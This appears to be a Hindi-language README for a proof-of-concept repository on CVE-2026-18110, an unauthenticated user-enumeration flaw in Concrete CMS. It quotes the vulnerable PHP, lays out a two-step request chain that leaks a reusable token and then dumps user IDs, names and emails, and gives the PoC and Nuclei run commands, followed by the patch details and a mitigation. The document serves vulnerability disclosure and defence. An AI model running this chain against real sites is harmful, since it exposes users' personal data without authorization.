
Python PoC और Nuclei template जो CVE-2026-18110 का उपयोग करता है, जो Concrete CMS 9.0.0-9.5.2 में user autocomplete endpoint के माध्यम से एक unauthenticated user enumeration flaw है।
Concrete CMS 9.0.0 से 9.5.2 तक उपयोगकर्ता चयनकर्ता ऑटोकम्पलीट एंडपॉइंट (/ccm/system/user/autocomplete) पर प्राधिकरण जाँच नहीं करता है, जो "Preview as User" पैनल और अन्य उपयोगकर्ता-चयनकर्ता घटकों का समर्थन करता है। यह एक अनधिकृत दूरस्थ हमलावर को बिना किसी वैध सत्र या क्रेडेंशियल के पूरी आंतरिक उपयोगकर्ता निर्देशिका — जिसमें उपयोगकर्ता ID, उपयोगकर्ता नाम और ईमेल पते शामिल हैं — की गणना करने की अनुमति देता है।
यह भेद्यता CSRF टोकन को प्राधिकरण नियंत्रण के रूप में (गलत) उपयोग करने का एक उत्कृष्ट उदाहरण है: टोकन अनुरोध की अखंडता साबित करता है लेकिन कभी भी इस वास्तविक सुरक्षा प्रश्न का उत्तर नहीं देता कि क्या कॉलर को उपयोगकर्ता सूची क्वेरी करने की अनुमति है।
| उत्पाद | प्रभावित | ठीक किया गया |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
Preview As User पैनल concrete/routes/panels.php में बेस पथ /ccm/system/panels के अंतर्गत पंजीकृत है:
GET /ccm/system/panels/page/preview_as_user
इसका कंट्रोलर (concrete/controllers/panel/page/preview_as_user.php) एक <concrete-user-select> Vue घटक प्रस्तुत करने के लिए UserSelector::quickSelect() को कॉल करता है। इसकी सहोदर विधि selectUser() के विपरीत, जो सही ढंग से canAccessUserSearch() पर गेट करती है, quickSelect() टोकन बनाने और एम्बेड करने से पहले कोई अनुमति जाँच नहीं करती है:
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
इसलिए सर्वर-रेंडर किया गया HTML प्रतिक्रिया किसी भी आगंतुक — जिसमें अनधिकृत भी शामिल हैं — को एक वैध access-token उजागर करती है जो इस मार्ग तक पहुँच सकता है।
access-token मान का प्रारूप है:
{unix_timestamp}:{md5_hash}
जहाँ हैश सर्वर-साइड पर इस प्रकार गणना किया जाता है:
md5( timestamp : userID : action : pepper )
timestamp — निर्माण के समय UNIX समय, टोकन उपसर्ग के रूप में सादे पाठ में भेजा जाता है।userID — निर्माण के समय अनुरोधकर्ता की उपयोगकर्ता ID; अनधिकृत आगंतुकों के लिए 0।action — स्ट्रिंग user_select:format:{labelFormat}:avatar:{includeAvatar}, जहाँ दोनों मान हमलावर द्वारा क्वेरी पैरामीटर के माध्यम से आपूर्त किए जाते हैं।pepper — एक 64-वर्ण का यादृच्छिक रहस्य जो इंस्टॉल के समय एक बार उत्पन्न होता है और application/config/generated_overrides/concrete.php में संग्रहीत होता है।टोकन 24 घंटे के लिए वैध होते हैं और उस अवधि के भीतर पूरी तरह से पुनः चलाने योग्य होते हैं — कोई एकल-उपयोग/nonce प्रवर्तन नहीं है। निचली सीमा की टाइमस्टैम्प जाँच भी नहीं है, जिससे ताजगी जाँच एकतरफा हो जाती है।
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
view() के अंदर checkAccess() कॉल वर्तमान अनुरोध की uID (अतिथियों के लिए 0) का उपयोग करके हैश की पुनर्गणना करता है — जो पूरी तरह से मेल खाता है क्योंकि टोकन भी uID=0 के रूप में उत्पन्न किया गया था। जाँच पास हो जाती है, और पूरी उपयोगकर्ता निर्देशिका वापस कर दी जाती है।
ऑटोकम्पलीट एंडपॉइंट पर canAccess() / checkAccess() गेट टोकन अखंडता (जाली नहीं, समाप्त नहीं) को मान्य करता है लेकिन कभी भी प्राधिकरण (क्या इस कॉलर को उपयोगकर्ताओं को खोजने की अनुमति है?) को मान्य नहीं करता है। CSRF टोकन की वैधता प्राधिकरण जाँच का विकल्प नहीं है। उसी कंट्रोलर में getSelectedUsers() की तुलना में, जो प्रति परिणाम सही ढंग से Checker::canViewUser() को कॉल करता है, view() में कोई समकक्ष जाँच नहीं है।
इस रिपॉजिटरी में एक Python स्क्रिप्ट + Nuclei डिटेक्शन टेम्पलेट शामिल है। Python स्क्रिप्ट का उपयोग केवल एकल URL के विरुद्ध किया जा सकता है। यदि आप एक साथ कई लक्ष्यों का परीक्षण करना चाहते हैं, तो इसके बजाय nuclei का उपयोग करें। दोनों ऊपर वर्णित दो-चरणीय श्रृंखला को स्वचालित करते हैं और Step 2 प्रतिक्रिया में पुष्ट उपयोगकर्ता डेटा पर मेल खाते हैं।
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
केवल उन सिस्टमों के विरुद्ध उपयोग के लिए जिनका परीक्षण करने के लिए आप अधिकृत हैं।
Concrete CMS 9.5.3 या बाद के संस्करण में अपग्रेड करें। यह फिक्स टोकन-जारी करने के चरण (quickSelect()) पर एक प्राधिकरण जाँच पेश करता है जो selectUser() में पहले से मौजूद canAccessUserSearch() गेट के अनुरूप है, और ऑटोकम्पलीट कंट्रोलर के view() के अंदर एक समकक्ष अनुमति जाँच जोड़ता है, जो getSelectedUsers() द्वारा पहले से सही ढंग से उपयोग किए जा रहे Checker::canViewUser() पैटर्न को प्रतिबिंबित करता है।
यदि तत्काल अपग्रेड संभव नहीं है, तो अस्थायी शमन के रूप में वेब-सर्वर या WAF स्तर पर /ccm/system/panels/ तक अनधिकृत पहुँच को अवरुद्ध करने पर विचार करें।
यह रिपॉजिटरी शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रकाशित की गई है। सभी परीक्षण स्पष्ट प्राधिकरण के अंतर्गत सिस्टमों के विरुद्ध किए गए थे। लेखक यहाँ निहित जानकारी या उपकरणों के किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हैं।